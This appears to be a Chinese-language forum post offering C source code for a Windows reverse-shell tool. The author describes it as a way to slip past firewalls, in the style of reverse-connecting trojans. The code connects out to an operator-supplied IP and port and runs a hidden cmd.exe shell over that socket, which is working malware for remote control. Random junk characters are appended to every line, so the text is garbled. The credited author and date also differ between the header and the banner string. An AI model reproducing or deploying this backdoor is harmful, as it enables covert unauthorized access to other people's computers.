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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >+8I =S  
Z]\^.x9S  
/* ============================== Q@VnJ,  
Rebound port in Windows NT a@ }r[0O  
By wind,2006/7 d<nB=r!*  
===============================*/ olh3 R.M<  
#include \w[%n0  
#include |/s2AzDD  
{ ][7Np!y  
#pragma comment(lib,"wsock32.lib") ~')t1Ay s  
\zL7 j 4  
void OutputShell(); \ZZy`/~z*7  
SOCKET sClient; @$Kq<P  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; z}8L}:  
iDc|9"|Tf3  
void main(int argc,char **argv) 2!?z%s-S  
{ X.9MOdG70  
WSADATA stWsaData; de{YgN  
int nRet; tN> B$sv  
SOCKADDR_IN stSaiClient,stSaiServer; ER1mA:8>E  
Q.dy $`\  
if(argc != 3) N==_'`O1Q0  
{ s/H"Ab  
printf("Useage:\n\rRebound DestIP DestPort\n"); 3eP0v  
return; W+C_=7_  
} ;I71_>m  
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WSAStartup(MAKEWORD(2,2),&stWsaData); E9 q;>)}  
D#}Yx]Q1  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Am0C|(#Xm  
K(fLqXE%  
stSaiClient.sin_family = AF_INET; g_c)Ts(  
stSaiClient.sin_port = htons(0); bv>lm56  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bTp2)a^G  
a;(zH*/XK  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~U6YN_W  
{ utJVuJw:t  
printf("Bind Socket Failed!\n"); #(g+jb0E  
return; .ASwX   
} m>dcb 6B+g  
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stSaiServer.sin_family = AF_INET; lA-!~SM v"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f,inQ2f}d  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'oQP:*Btl3  
s Xk?.A_D  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) zTT  
{ AeCG2!8^0  
printf("Connect Error!"); B00wcYM<1r  
return;  )\\V s>9  
} h21(K}  
OutputShell(); _s-HlE?C  
} 5po' (r|U  
l~!fQ$~  
void OutputShell() C!k9JAa$Z  
{ rnv7L^9^A  
char szBuff[1024]; b\j&!_   
SECURITY_ATTRIBUTES stSecurityAttributes; L(2P|{C  
OSVERSIONINFO stOsversionInfo; |QNLO#$ -  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O| 6\g>ew  
STARTUPINFO stStartupInfo; 05VOUa*pb  
char *szShell; X+E\]X2  
PROCESS_INFORMATION stProcessInformation; Dke($Jr{  
unsigned long lBytesRead; Yj7= T%5  
6aZt4Lw2\  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); yki51rOI*  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Bx : So6:  
stSecurityAttributes.lpSecurityDescriptor = 0; 'BdmFKy1  
stSecurityAttributes.bInheritHandle = TRUE; oT (:33$  
0mD;.1:  
Y!1^@;)^  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); cm 9oG  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); VIYksv   
0"qim0%|DF  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /\a]S:V-j  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !:O/|.+Vmf  
stStartupInfo.wShowWindow = SW_HIDE; OV("mNh  
stStartupInfo.hStdInput = hReadPipe; LLn{2,jfQ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p@7i=hyt`p  
*(&ClUQQ  
GetVersionEx(&stOsversionInfo); .4C[D{4  
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switch(stOsversionInfo.dwPlatformId) ^8oc^LOa~2  
{ K l0tyeT  
case 1: -wRyMY_ D  
szShell = "command.com"; +>WC^s  
break; qz=#;&ZU  
default: 1'v!9  
szShell = "cmd.exe"; keQXJ0  
break; *&dW\fx  
} q]i(CaKh  
P 5qa:<  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9oz(=R  
,D@ ;i  
send(sClient,szMsg,77,0); f5yux}A{  
while(1) _{c|o{2sj  
{ /#qs(! d  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <f.>jjwFE  
if(lBytesRead) s\Pt,I@Y_  
{ !(]dz~sM  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); g#'fd/?Q  
send(sClient,szBuff,lBytesRead,0); x*R8^BA]pR  
} ^/DII`A  
else L;--d`[  
{ v :+8U[x  
lBytesRead=recv(sClient,szBuff,1024,0); 7moElh v  
if(lBytesRead<=0) break; LE<u&9I\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~6-"i0k  
} si^4<$Nr%j  
} Z`oaaO  
:(l $^ M  
return; O\4+_y  
}
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